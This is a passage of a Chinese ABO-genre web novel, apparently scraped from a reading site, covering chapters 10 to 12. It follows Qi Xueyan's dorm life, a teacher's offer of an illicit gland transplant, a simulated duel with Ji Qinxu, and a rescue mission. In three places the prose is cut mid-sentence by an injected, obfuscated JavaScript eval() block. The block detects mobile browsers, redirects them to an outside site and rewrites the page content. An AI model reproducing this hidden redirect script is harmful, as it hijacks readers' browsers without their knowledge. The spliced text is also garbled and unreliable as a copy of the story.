邢铄抬手搂住他的腿,稍微直起身:“……哦。” “乖的。”戚雪砚揉了一把他的银色短发,从后双手捂住邢铄的眼眸,“来玩个游戏吧,我说往哪走你就往哪走,不许偷看。” 什么鬼啊。邢铄问:“摔跤了怎么办啊?” “只要你够听话就不会摔哦。”戚雪砚耐心哄道。 “……行吧。” 邢铄把他往上托了托,直起腰循着记忆中的方向抬脚。 困倦和酒意再一次上涌,戚雪砚乏力地枕在对方背上,歪头,迷蒙中对上了一双冰冷晦暗的紫灰色凤眸。 他艰难思考了许久,捡起了一点礼貌的本能。于是张开嘴巴,无声对着那人比口型: “Bye bye。” . 第二天醒得比往常迟了些。 戚雪砚养成了习惯,第一件事就是检查腺体的情况——非常好。不肿不热不疼,信息素稳定,状况有明显的回升。 他揉着散乱的头发下床,大脑还是一片浆糊。勉强回忆起昨晚喝了酒,好像在包厢睡着了,邢铄把他带了回来,他还对人发了一通脾气。 唉,这小子。 等会儿去哄哄吧。 戚雪砚走进洗手间,挤牙膏,刷牙,耷拉的眼皮抬起,眸光顿住—— 镜子里的人右边脸颊被用粉色的马克笔画了一只兔子,一边耳朵弯折,一边耳朵竖着,眼睛大大的呈荷包蛋形,很萌很无辜。 “……” 他呆愣地用沾了水的手搓了搓。 笔迹纹丝不动。 “???” 10.三堂会审 早晨七点半。 宿舍难得四个人全都醒着,且聚集在客厅里,没有打架。戚雪砚穿着件胸前印有小马图案的睡衣,盘腿坐在沙发里,看看这边又看看那边。 贺靖风刚健完身,拖了把椅子过来反跨,手一伸掐过青年光洁白皙的下巴,剑眉拧起:“这到底怎么回事?谁画的!” 敢对他的人动手动脚,想死了不是。 “……妹妹开玩笑画的。”戚雪砚小声回答,睫毛扑闪了好几下。 妹妹? 贺靖风记起来是有这么一个人,脸色好了些。 “你和她去酒吧。”邢铄照例坐在他脚边地毯上,头发乱糟糟的,黑眼圈很重,还在赌气,“那为什么不让我进包间。” “你不是不喜欢她么,我担心你们吵架呀。”下巴一抬从贺靖风的手中挪开,戚雪砚低头,熟练地理顺alpha的头发,“而且我喝醉了,醉鬼不讲道理的。” 邢铄冷哼,凑近压上了他的膝盖,仰着个臭脸:“你说要把我的眼睛挖出来。” 贺靖风恶声恶气:“怎么没挖?快挖!” 戚雪砚轻横了红发alpha一眼,捧起邢铄的脸揉了揉:“对不起啦。” 邢铄趁机提要求:“今晚陪我睡。” “唔。” “害得我昨天整晚没睡着,要补偿。”邢铄双臂搂住他的腰,脸使劲往里面埋。 好香。刚起床比平时更香了。Alpha的背脊随着呼吸起伏拱起。 “这么不想要你的眼睛,我不介意替小雪动手。” 唯一穿戴整齐的裴起昀走了过来,将碍事的家伙踹开,对着青年语气一转,“过来。” 戚雪砚拦住了要暴动的邢铄,依言往那边挪了挪,看到对方手里的洗脸巾和卸妆油却犹豫了,仰起头问:“你要把它擦掉啊?” “怎么了。”裴起昀盯着他,调笑了一声,“舍不得了?” 戚雪砚摸了摸脸颊,举起手机照镜子。 ……画得其实挺好看的。 哎。没想到主角居然也有这么幼稚的一面。他想着,脑中闪过些许昨天喝醉后的画面,面颊竟微微发起了热。 旁边注视着他的贺靖风和邢铄无端陷入了沉默。 “等会儿还有考试,你难道要顶着这个去考场么。”裴起昀再度开口,嗓音难以觉察地低沉下来。 戚雪砚又望了对方一眼,想了想,打开手机的摄像头。手贴到颊边,两根手指一根伸直,一根微微弯曲,模拟兔耳的形状。 咔嚓。 他满意地弯起眼眸,小兔子在脸颊上跳动,另一边那颗红褐色的小痣也招摇着,面若桃花,唇角生春。 客厅里彻底变得很安静。 没人再说话,唯独呼吸声重了些许。 戚雪砚觉察到了一丝不对劲,疑惑地从手机里抬头,三人纷纷躲开了他的目光。 “咳,那什么,我去楼上冲个澡。”贺靖风抓了抓头发,唰地站了起来,动作迅猛到那把椅子都险些被带倒。 邢铄也一言不发地起身离开了。 他又歪头去望裴起昀。 身穿制服的alpha侧过身对他,腰背挺得笔直,颊侧咬肌绷紧。 片刻后转了回来,本就冷峻的面庞覆上一层坚硬严肃的面具,拿锤头去敲可能都敲不碎,挺慑人的。 戚雪砚也没说什么,仰起脸让对方帮他擦掉这个油性笔留下的涂鸦。 裴起昀力求干净,手劲重了些,把青年的脸蛋搓得愈发红艳。片刻后平复下来,状似不经意地开口,“既然是马术社的聚餐,那应该不止一个人?” “嗯……” “都有谁啊?” “蒋勇。”戚雪砚说。 裴起昀笑了一下,“其他一年级的alpha呢?你们没招到新生么。” 没有回应。 “起昀。” 半晌,戚雪砚忍着火辣辣的面皮,抬眸轻唤了对方一声。 “嗯?” “你最近越来越像他了。” 裴起昀愣住。手上的动作停了下来,镜片后的瞳孔微缩,连呼吸都停滞了半拍。 戚雪砚不会撒谎,拿捏他的情绪却轻而易举。 “……谁?”他滚了滚干涩的喉结,问。 “不要这样好不好?” 青年不回答,只低头,用软嫩的唇角碰了碰他的手,将脸颊贴进他的掌心。 “我不喜欢。我很害怕。”他说。 . 最后一门理论考试结束,戚雪砚照例提前出了考场,结果一个电话被高级科学与技术的老师叫到了办公室。 三十五岁上下,知性优雅的女beta似乎刚从外面回来——戚雪砚推门进办公室,她正脱下长风衣外套挂在衣架上,指挥他从窗边的架子给自己拿红茶过来。 他以前没少来梅瑞尔这里,熟门熟路找到了老师喜欢喝的那罐,目光在窗外顿了顿。 天气很好。 白衣黑裤的男生坐在操场边的长椅上玩手机,一个足球滚到了他脚边,隔着大半个球场的努力挥舞双臂请他把球踢回来——男生抬脚,没用劲儿似的一挑,足球呈直线砸进柏荣怀里……让人摔了个屁墩。 隔着老远都能看到柏荣抱着球懵逼的表情。 戚雪砚笑了一下。 蓦的。背对教学楼的男生回头,目光直直锁定建筑物五层。 他赶紧把红茶给梅瑞尔送了过去。 “科学院最近在进行一项实验。” 梅瑞尔泡上了茶,开门见山说了第一句话。 下一句是,“——利用捐献者的腺体细胞,促进受损的腺体修复和再生,帮助alpha提升等级。” 最后问他:“你对这个实验怎么看。” 戚雪砚站在办公桌前,半晌没反应过来。 在办公椅里舒舒服服地坐下,她捧着手里的红茶,等待青年的回答。 “……据我所知,这种实验早就在进行了,至今没有靠谱的结果。” 戚雪砚还陷在震惊之中,边整理思路边说话,“腺体不是一个简单的器官,和大脑中枢神经系统紧密连接,动手术的风险极高。虽然有受损腺体修复的先例,但仅存在于青少年身上——成型后的腺体并不具备再生的功能。” “所谓捐献者的腺体细胞,也极有可能是从未成年alpha身上提取的,因此,供体的合理性存疑。”他渐渐清晰了起来,望了一眼女人,“甚至有可能并非简单地提取细胞,而是带有强迫性的移植。” 那么无论前者还是后者,都属于严重违反联邦法律的行为,会催生极其黑暗残酷的地下交易。 梅瑞尔平静地等他说完,啜了一口杯中的红茶,向着办公桌略微倾身: “先别管那么多,我只问你——如果给你这个机会,移植其他人的腺体细胞,让你恢复到S级,且风险很低,你愿意吗?” 戚雪砚攥了攥垂在身侧的双拳。 他就知道素来看重他的老师不会无缘无故找他说这些。 难道科学院真的研究出了可行的方案?那绝对是惊世骇俗的新闻,势必掀起整个社会的动荡。 等等…… 戚雪砚脸色微变。 他想起那天邢铄和裴起昀的对话,关于那位针对腺体药物研发卓有成就的田韶光教授——邢烁说有别的人想要他,就指的是科学院的那些人?? 难怪会牵扯到安全部和官方。难怪纪钦栩一定要将人送离联邦。 “我不愿意。” 心脏重重跳了两下,戚雪砚脱口而出。他意识到这是一条死线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868217|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一旦踩上,主角和其他正面力量就绝对不会放过他,他再无法摆脱炮灰的宿命,会死得无可争议。 办公室里漂浮着幽微红茶的香气,梅瑞尔还在等他的后续回答。 “就算……就算手术成功,我借由别人的细胞回到S级,身体没有产生排斥反应,心理上恐怕也无法接受一个杂糅的腺体——信息素是alpha自我认同的一部分,这样会让我精神错乱,说不定还会对捐赠者产生特殊的依赖心理。” 老师让他别管那么多,那他就不管。他不是主角,也不是什么心系社会和群众的伟大人物,他只谈自己。 “况且,穹庭的校训里有一条,弱者也应得到尊重。”戚雪砚勉强弯了弯唇角,“采取这么激进的手段提升等级,不值得吧。” 梅瑞尔放下茶杯,抬眼盯住他:“但是事实上是,强者才能得到一切。” 眼睫轻颤,戚雪砚心脏被拧了一下。 “……我不愿意。” 既然如此,那就再直白一些,当一切的副作用都不存在,当这件事只会给他带来好处——有人无私馈赠,让他恢复实力,甚至变得比以前更强—— “我不相信会有这种天上掉馅饼的事。” 就算有,也不可能降临在他的头上。 “不相信愿意捐献腺体救我、为我进行手术的人,别无所求。” 他是炮灰,是……罪人。他大病一场,等级跌落,是应有的惩罚,他认。 他凭什么能得到上天的眷顾? 他不敢要。 梅瑞尔缓缓靠回了椅背。 “好。” 半晌之后,她拿起桌面上的平板,重新开口,“那我们来谈谈另一个问题。亲爱的戚雪砚同学——你考试故意答错题目,什么意思?” “……”戚雪砚双手背在了身后,声音明显变小,“我没有啊老师。” “你不想进前20,不想去联邦基地了?” “我……” 梅瑞尔冷笑,“还是你觉得你现在不配进了?坐腻了第一了,玩大大方方让给别人那套是吧。裴起昀知道他有那么好命么。” 戚雪砚唇瓣嗫嚅了两下。 “你说弱者也要得到尊重,你觉得自己是弱者还是强者。”梅瑞尔问,“你尊重自己了吗?” 办公室里久久没有回应。 “成绩我替你改过了,你还是那个全满分。” 她最后道了一句,摆了摆手,“接下去的测试别再让我折腾了。” …… 关上办公室的门,戚雪砚垂着头靠在外面的墙壁上,好半天没动。 余光瞥见走廊转角一道白衣黑裤的身影掠过。 嗯?这个身高…… 戚雪砚不确信喊道:“纪钦栩?” 走廊那边的脚步声好像停住了。他走了过去,果真望见了男生出类拔萃的背影。 纪钦栩抄着口袋,顿了顿才转过身,面无表情地垂眼看向他: “干什么。” 戚雪砚已经习惯了对方这幅态度,上次的接触后他没那么畏惧这人了,再加上方才拒绝梅瑞尔的提议让他自觉十分正直,连面对主角的底气都足了些。 “纪学弟,你怎么在这里啊?” “路过。” 哦。行吧。 他伸出食指,笑着点了一下自己的右边面颊,“怎么,不打算和学长道个歉吗?” 饱满弹性的脸颊随着纤细的指尖微微凹陷下去,一看就知道非常柔软。 纪钦栩的脸色依然冰冷,紫灰色的眸底似乎是翻涌起了什么,很快如烟雾消散。 “嗤。” 男生淡色薄唇掀起,发出一声不知何意味的气音,扔下他转身走了。 “……”戚雪砚缓缓放下手指,抿紧了唇。 11.被调戏了 神秘的军院一枝花迄今为止全战全胜,在穹庭论坛的神秘角落掀起了热烈讨论,蒋勇顺理成章地涨了一波接单价。 戚雪砚没怎么留意,他在忙着借此锻炼自己的对抗能力。 下周三年级就要进行战术体魄的测试了,分为基本功、模拟战略推演、综合格斗三项。其中的综合格斗需要真刀真枪地和对手使用信息素对抗——学生们会被分为三档,大范围进行抽签配对PK。也是他此前最担忧,害怕输得太难看的一项。 他原本的确怀着糊弄过去的心思,大不了直接认输。但梅瑞尔把他揪了出来,对他说了那些话,他很难再心安理得地什么都不做。 那就尽力试试吧。 椭圆形的舱内,戚雪砚刚结束了一场战斗,颈后果然起了反应,整个身体都像被放进了蒸笼,从骨头里往外冒着热气。 就算有器械的阻隔,战斗中也会被模拟出的信息素刺激到,这明显是腺体使用过度了。 他看了眼屏幕,单主还剩最后一场……打完这两天就不打了吧,周末有新生舞会,正好休息调整一下。 戚雪砚仰头靠在后面的颈托上,双眸阖上,胸膛随着呼吸微微起伏。 信息素中的玫瑰味好像浓郁了些,他很喜欢。 “我靠!”蒋勇在外面大叫。 “匹配到S级了!” 戚雪砚睁开眼睫。 接了几次单之后,他就让蒋勇把客户范围提升到A级alpha——他的评级是A-,就算实际上只有B,测试中也大概率会被归到第二档,迎接A等级的对手。 而这个系统里,战绩优秀的A等级alpha是绝对有可能匹配到S级的。毕竟每个年级的S级都是个位数,整日互殴哪能完成100场的kpi。 S级有恃无恐,对此大多随意糊弄,有些甚至比A级的胜率还要低,比如眼前这个人。 蒋勇趴在模拟舱外面安慰他:“没事的没事的,应该是来刷场次的,胜率才79%。” 为了减少纷争,对手的姓名当然不显示,只显示信息素等级和胜率。但戚雪砚看着屏幕里最基础的建模形象,脑子里没来由的嗡了一声。 一年级总共6个S级alpha。 当然有可能是…… 搭在感应器上的手指轻颤,直接触发了开始键——器械迅速包覆禁锢他的身体,眼前光线一晃,戚雪砚猝不及防被扔进了全息战斗系统之中。 白衣黑裤的建模人物站在白雪皑皑的街道上,天空还向下飘着白色碎屑,他身旁一盏黑色的路灯灯柱,另一边是林立的商铺,隔着玻璃可以看见那是一间花店。 竟然是一个雪地天气的模拟场景。 甚至隐隐有些眼熟。 思绪飘忽一瞬迅速收敛,戚雪砚攥紧了掌心的匕首,沿着冰雪覆盖的石砖地面,由慢及快地冲到了对方近前。 他打架一向喜欢先发制人,而且不知道为什么,今天看到这建模就很想砍。 对方没动,也没释放信息素。 他的靠近很顺利,但刚迫近对方周身一米,脸颊就被一阵恐怖的力道狠狠掐住——那人卡着他的下半张脸,单手将他拎了起来。他失去重心,双脚离开地面,被猛地砸向一旁漆黑的灯柱。 这一记下去,现实中的脊骨可能直接碎裂,在这个被削弱的模拟环境中也是剧痛,血条至少得掉一大半,但戚雪砚丝毫挣扎不动。 令人绝望的力量压制。 如果刚才只是一种莫名其妙的直觉,现在他愈发确信眼前这个就是纪钦栩了。 毫不拖泥带水,凶狠暴戾直接。是主角的战斗风格。 他没用信息素,看起来想要好好打一场。又或者说……享受一下碾压的乐趣。 胸腔内泛起一簇摇曳的火,还有别的乱七八糟的情绪,戚雪砚眼眶和血液一起发着热,挣扎地愈发猛烈——但就在砸到灯柱的前一刻,纪钦栩突然松开了手。 他啪叽一屁股坐在了地上。 “……” 屁股疼也是疼! 戚雪砚怕疼,但身为穹庭军院的alpha,打斗切磋受伤早就是家常便饭。他也不明白自己这强烈的气闷是从何而来。 他怒气冲冲地抬起头,发现对方正低头打量着展开的手指,似乎在衡量什么。 哪怕隔着建模他也知道此人一定是那副耷拉着眼皮面无表情的样子,懒得弯腰,要等他站起来再动手。 他挥刀刺向了对方的小腿刺了过去。 纪钦栩抬脚避开,他迅捷地换了个方向,兔子蹬腿似的用弯曲的双腿踹向对方。 男生的动作顿了一瞬。向后撤了一步。 戚雪砚飞快站了起来。 器械给予身体的疼痛只是一瞬,可气闷屈辱的心情使然,他总觉得屁股还在一阵阵持续地发热发麻。 输肯定是会输的,但就算输,也得……也得把刚才那一记还回去。 纪钦栩今天的心情似乎还不错,招式多了些许耐心——对方一向纯靠暴力破解,这会儿竟一板一眼地和他这个正规训练出身的接招拆招了起来。 他出拳,对方裹手捆臂。他飞踹,对方摇闪下潜。他抓着对方的胳膊要背摔这人——纪钦栩手掌隔在二人之间,按着他的屁股把他推开了。 “……” 戚雪砚的步伐越来越飘忽,仿佛精疲力竭了,渐渐地,男生果然连接招都敷衍于应对,在原地站桩。 就是这个机会。 力量瞬间迸发,他蹬了一脚身后的黑色路灯,起跳,收刀屈肘,狠狠地撞向对方! 砰。 商户的玻璃窗被二人撞碎。 他在一片混乱中挺腰,双腿夹住对方的头颈,腰身如蛇般翻折。 戚雪砚的腰很软,纤瘦但有力,柔韧性极强。 纪钦栩再次顿了一拍,迟疑的感觉比上次更明显——于是被他重重带倒在一地玻璃碎渣上,刺伤脊背,血条直掉。 戚雪砚完好无损地落地,双腿岔开跨坐在了对方胸口,高举起匕首—— 咔。咔。 两只手腕都被抓住了。 建模只是虚拟外观,人体的真实数据由模拟舱导入系统,戚雪砚的手腕被对方交叠在了一起,单手掌握,动作似曾相识。这人似乎还用手指丈量了一下他的手腕尺寸,接着更加气定神闲,就这么攥着不动了。 可恶! 挣又挣不开,打又没法打。 这样下去又得陷入被动,感觉到对方另一只手要对他做什么,戚雪砚蹬腿起跳,在空中倒翻半圈,总算脱开手腕——抬脚踩向纪钦栩的胸口,结果又被半蹲的人精准捏住了脚踝。 “……” 这人到底想干什么? 他知道自己是打不过主角的,能偷袭的手一次已经算是成功。眼下明摆着被戏弄,戚雪砚有点气急败坏了。 他想起第一次和纪钦栩正面对峙,对方就摸他的腺体,故意羞辱他——面对面他还会装一下,在这里他只想一个劲儿跺脚。 放开放开放开放开放开! 纪钦栩冷不丁站起了身,一个诡异的闪身突到近前,伸手,这一次捏的正是脖子。 戚雪砚一愣,霎时冷汗直冒——仓促之下,握住匕首捅向对方胸口! ……竟然得手了? 他不敢置信。 那柄虚拟的匕首深深没进了对手的胸膛,纪钦栩纹丝不动,仍旧只是单手握住他的脖子,再一次抚摸后颈。 “……” 对战结束,获胜。 戚雪砚双腿发软,嘴唇紧咬,在模拟舱内短促而软绵地喘息出声。 力道从传感器消失的最后,他的面颊也被对方的指腹不轻不重地抚过。 右脸。 上次被画了涂鸦的地方。 …… 另一边的模拟训练室。 闻瑾羿瞪着屏幕,眼珠子差点掉出来。 什么情况。老大输了?假的吧? 纪钦栩很忙,这种事一向都是把ID卡丢给她和柏荣帮忙糊弄,这两天不知道是心情不好还是怎么的,亲自上阵打了好几场,无一不是暴力屠杀。 这……这这…… 哪来对手这么厉害? 舱门打开,纪钦栩走了出来。冰山脸死鱼眼,看不出究竟,也不像经过了什么艰苦战斗,唯独萦绕周身的低气压消散了些。 那就是打到一半突然不想打,放水了?闻瑾羿觉得还是这个猜测靠谱。 总归不是什么大事儿,她抛到了脑后,汇报:“科拉莉阿姨刚才来消息了。田教授那边已经准备好了。” “嗯。” “我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872583|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好想去啊,都怪新生舞会。”可恶的学生会,让她亲爱的哥哥出面安排了她,她能说不吗? 纪钦栩扫了两眼手机,抬脚往训练室外走,漫不经心地问了一句,“他缺钱?” 闻瑾羿很快反应过来这个“他”指的谁。“不缺吧,上次还给了我10万块零花钱呢!我不是告诉你了吗,嘿嘿。” 她和柏荣显摆了好几天呢。 纪钦栩不说话。 等等。 闻瑾羿脚步一顿,回头望向隔间内结算页面还没消失的显示屏,又看了看老大的背影。 论坛里最近很热门的代打…… 她恍然大悟地捂住了嘴。 . 账户里又多出来了一百万。 戚雪砚照例抱膝坐在沙发上,抿着唇盯着那个越来越庞大的数字,眸中情绪翻涌。 就算是以前,他都没有过这么多可自由支配的财产。 这到底算什么意思? 可怜他么。 指尖不自觉地在屏幕上轻点,他回过神,看向屏幕,上面已经凭借烂熟的记忆出现了一串电话号码。 戚雪砚一言不发盯着手机,瞳孔渐渐失去焦距,像被绳索牵住,机械而迟缓地按下了拨通键。 嘟—— 铃声每响一声,牵扯他的绳索就紧一分,浑身上下都隐隐作痛。 直到电话被接通,低沉磁性的男声传了出来,含着些许意外的情绪: “……小雪?” 这嗓音太过熟悉,一秒将他拽进回忆的深海,汹涌地攻击他这几个月来想要刻意隐藏的过往。 戚雪砚像坏掉的人偶一样颤抖起来,五脏六腑拧到了一起,心脏狂跳,颈后的腺体传来尖锐的刺痛,远胜过他初见到纪钦栩那次。 他挂掉了电话。 大脑出现了可怕的空白,他倒在了沙发上,蜷缩起身体喘息。 ……不要。 不要回忆,不要靠近,不要再联系那个人和那个家。 再次回过神,戚雪砚迅速拉黑电话号码,随手在手机上一通乱翻,打开了聊天软件的页面。 上次在酒吧三个新人给他提交的好友申请他还都没有通过,因为不怎么喜欢网络聊天,也不太想面对闻瑾羿连珠炮似的关心和问候。 但现在他决定作个死,以毒攻毒。 通过纪钦栩的好友邀请,他直接给人拨过去了一通语音电话。 铃声响了几声,接通了。 “是纪学弟吗?” 对面淡淡嗯了声。 嗯什么嗯。 这么酷为什么要随便弄他的脸。 昨天竞技场是认出来他了吧?怎么认出来的? 戚雪砚有一堆话想问。 他在沙发上翻了一圈,清了清嗓子,故作忧伤道,“学弟……你上次在办公室外面,为什么要对我冷笑啊?” “……” “学长很受伤呢,回来以后翻来覆去都睡不好,特别郁闷。” “……” “说话呀。” “……” “长得再帅不会说话也谈不到对象。”他趴在沙发上嘀嘀咕咕。 电话那头隐约响起不同寻常的动静。 那是…… 枪声? 戚雪砚睁大眼睛,坐了起来。 楼梯上适时传来一阵迅疾的脚步,邢铄飞也似地跳下了楼梯,端着平板要往宿舍外面冲。 “你去哪?”他问。 Alpha回眸,桀骜的眉眼飞扬,眼底泛滥着捕猎本能被激发时的兴奋。 一只脚都踏出去了,邢铄又折回,冲到沙发边半跪着亲了一口戚雪砚的脸颊。亲得很响亮。 “抓老鼠。”他说,“等我好消息。” 说完就拉开了宿舍的大门。 坏了。 戚雪砚脸色一白,意识到发生了什么,哪还顾得上别的,赶紧手忙脚乱挂掉电话。 田韶光教授的救援任务。 之前邢铄只言片语流露过,他们两拨势力一直在暗中试探,不确信具体的行动时间——看来就是今天了。 ……不是。 纪钦栩为什么要在这种时候接他的电话啊? 他崩溃地在沙发上打了个滚。 混蛋来的吧。 12.新生舞会 穹庭位于联邦首都枢光城东边的半岛,离枢光城的核心地带车程不到两小时,往南却是联邦最混乱无序的一片区域。 傍晚时分,一辆纯黑suv停在人迹罕至的街道上。激烈的枪声刚刚平息,三五个装备齐全的alpha将某个步伐踉跄的中年男子连扶带拽塞进后座,车子迅速启动,如一阵鬼影飘来,又悄无声息地离开。 “为什么会有信号波动?” 处境安全了,副驾的瘦子啪啪啪拍着怀里电脑,厉声质问后面几人,“谁手机没关机?给我老实交代!” 侧坐的三位大汉齐刷刷地望向了对面。 占据了单人座椅的alpha手里正拿着手机,幽微的光线映照在一双清俊淡漠的眉眼上,喜怒不辨。 “……”瘦子吞了吞口水,立马萎了,“老大的电话啊?那,那一定是有要紧事吧。” 很可能。 负责殿后的alpha和同伴使了个眼色——他俩看得清清楚楚,老大一开始接到电话还挺放松的,心情称得上不错。最后被对面挂了,周身那个气压一瞬间就冷下来了,肯定是出了大乱子。 纪钦栩收起了手机,嗓音很平:“安全部的人来了。” “来就来呗。”瘦子奇怪地看了他一眼,“等那帮废物找到地方,田教授早就上飞机了。” 纪钦栩望向对面被两个alpha贴身保护的人。 田韶光冷不丁打了个哆嗦,颤抖着手从风衣内侧的口袋摸出两个巴掌大的纸盒,递到眼前这个过分年轻气场却极强的alpha面前: “……你想要的东西。” “谢谢。”纪钦栩接过,翻转盒子看成分表,“有副作用么。” 田韶光摇了摇头,“这个缓释片药性很温和,只有稳定腺体状况的效果。” 言下之意就是对信息素等级提升并无作用。 纪钦栩把药盒放进口袋:“知道了。” 田韶光盯着他欲言又止。 于是纪钦栩比了个手势,换位置坐到了田韶光身侧。其他alpha知晓老大要进行机密谈话,自觉戴上了隔音设备。 “科拉莉真的成功了一例腺体手术?”田韶光压低嗓音问。 纪钦栩平静嗯了声。 田韶光不问具体的细节,只严肃地叮嘱:“切记不要让更多人知道这件事,否则势必会产生不可估量的后果,科拉莉也会惹祸上身!” “不会。” 中年beta又从口袋里摸出了一个更小的药瓶,“这个你也收着,但只能用于腺体出问题时的急救。最温和有效的提升方法一定是通过供体信息素的长期安抚——移植成功后短期内处于低等级很正常,任何事情欲速则不达。” “知道了,谢谢。” 交待完了一切,田韶光松了一口气,摘下眼镜搓了把脸,“是我该感谢你们。否则被那些人抓走,不知道何年何月才能获得自由。” 他冷笑一声,“说得好听,什么腺体细胞,除了活体移植哪还有第二种办法?还必须来自未完全成熟的alpha腺体。” 这个实验毫无疑问极其反人类。他震惊于Erevos内部秘密进行了这样一次惊世骇俗的手术,一度怀疑旧友所在的组织是不是病变了,科拉莉也成了邪恶势力的一份子。 不过真的见到他们的“老大”却又放心了下来。 如此年轻强悍的S级alpha,吃饱了撑着才会对这种实验感兴趣。 总不至于拿自己当供体吧? “虽然不知道你们究竟是什么目的——”他重新戴好眼镜,郑重道,“但我愿意信你们一次。” 纪钦栩垂着眼,没有搭话。 耳畔回响起那日偶然听见的只言片语。 ——“我不相信会有这种天上掉馅饼的好事。” “不相信愿意捐献腺体救我、为我进行手术的人别无所求。” …… 原来是因为这个。 所以一开始才躲着他,假装不认识。 修长的手指缓慢摆弄两下药瓶,纪钦栩压下眸底翻涌的晦暗,无波无澜地望向了窗外。 ……随便他。 …… 安全部还是制造了一些麻烦的。 部长的小儿子,那个银色头发alpha坐直升机从天而降,带着重火力在半路拦截了他们。但路线提早被纪钦栩摸透,他们中途换了车,分头行动,一伙人吸引注意,另外一伙人顺利将田韶光送上了飞机。 树木掩映的黑色suv里,瘦子通过监控看到被耍得团团转的家伙们,嚣张嘲笑了一通,招呼大家回基地吃晚饭。 “老大你跟我们回去吗?科拉莉这两天一直念叨你呢。” “不回。” 纪钦栩答,扯了扯手腕上的黑色半指手套,戴上防护镜,就这么肆无忌惮走到了空旷的马路中央。 邢铄的人手丢失了目标,心情烦躁,独自驾驶着一辆机车四处搜寻,就见到漆黑荒芜的道路尽头倏然出现了一个人影。 他瞳孔一缩,来不及刹车,率先摸向腰间配备的枪支——重型机车呈一条直线冲向那高大瘦削的身影,刺眼的车灯亮如白昼,将来人的轮廓映得森冷可怖。 车把被戴着黑色半指手套的手握住,来人以不可思议的力量拽翻了几百斤重的机车,另一只手攥住了邢铄的衣领,将他硬生生扒了下来。 轰隆! 失去控制的机车在地面滑出数百米,撞上护栏,爆炸的火光映亮黑夜,而邢铄则被狠狠甩到了沥青路面上,发出沉闷的响动。 …… 一帮人远远趴在suv后面看热闹。 “什么仇什么怨呐?”瘦子啧啧感慨,“敢情他刚才说安全部来了是‘恭候多时’的意思啊,我就说有什么好担心的呢。” “老大以前搭理过这人吗?” “没有吧,安全部的走狗,他啥时候正眼看过。” “还特意没用信息素,这么大火气?” “拳拳到肉,那叫一个爽!” “总不能抢他老婆了吧?”唯一成家的alpha随便瞎猜道。 “胡说八道什么东西?老大才17岁,哪儿来的老婆。” “……” . 戚雪砚和裴起昀并肩走在通往礼堂的路上。 邢铄冲过来亲他那一下被要出门的会长大人撞见,对方十分生气,他只好陪着来舞会现场作为补偿。 一路上还没忘给邢铄发消息,大致意思是失败了也不要紧(因为肯定会失败的),人不要受伤就好(反正主角不会有事的)。 他担心邢铄越抓不到纪钦栩执念就越深,到最后无法挽回。 裴起昀在旁边冷嘲:“这小子都快把你当妈了。” 戚雪砚哽了一下,只当是对方嘴毒惯了的,“你和他计较什么,他比我们小,让着他一点有什么关系啊。” 邢铄是17岁上的一年级,他们三个都是18,按生日大小是裴起昀、他、贺靖风。 顿了顿忽然想起来,纪钦栩今年好像也才17——很经典的,中二少年拯救世界的年纪。 难怪有些行为还挺幼稚。 他抿了下唇角,发现裴起昀正目光灼灼地盯着他,忍着没笑。 “你这么聪明……”alpha抬脚靠近了一步,捏他的脸颊,绿眸泛出无奈,“怎么有些事情又这么迟钝?” 戚雪砚不解地回望。 …… 穹庭学院的礼堂是一栋历年已久的标志性建筑,外观典雅复古,内里金碧辉煌。 高大的穹顶绘满精美的壁画,落地窗镶嵌流光溢彩的玻璃,水晶灯悬挂成两排,照亮暖白大理石铺就的圆形舞池和周围巴洛克风格的绿棕配色真丝地毯。 墙壁上装饰着彩带和迎新横幅,头顶的银色流苏里隐藏着数个网兜,会在意想不到的时刻为舞池中的新生落下浪漫的花瓣雨。还有其他的隐藏设置,不乏戚雪砚的主意。 陪着裴起昀应酬了一圈,对方被校领导叫走了,戚雪砚这才得空挑了几个喜欢的甜品,在礼堂的角落坐下来休息。 他并非觉得处理学生会的事情困难,生病之后,学生会的成员对他的态度也远比其他人要自然友善得多。但他还是不想和裴起昀绑得那么紧。 对方才是学生会会长,如果那些部员在征得会长的同意之后,还要偷偷望自己一眼,很奇怪不是么。 不知道起昀是怎么想的。 他现在哪来的资格和他并肩站在一起呢。 挖了一勺冰凉细腻的甜品放进嘴里,戚雪砚抬手按了按使用过度后没得到休息,又接触大量人群而微微发热的后颈。 在礼堂外说的那句话又是什么意思? “哟,你在这儿。” 余光有一暗,有人从他身边经过,在对面的座椅上落座。 “被冷落的滋味很糟糕吧。”来人的语调嘲讽,含着丝丝怨怼,“如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881060|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是曾经的S级alpha,不知道又会有多少新生想和你一起跳舞。” 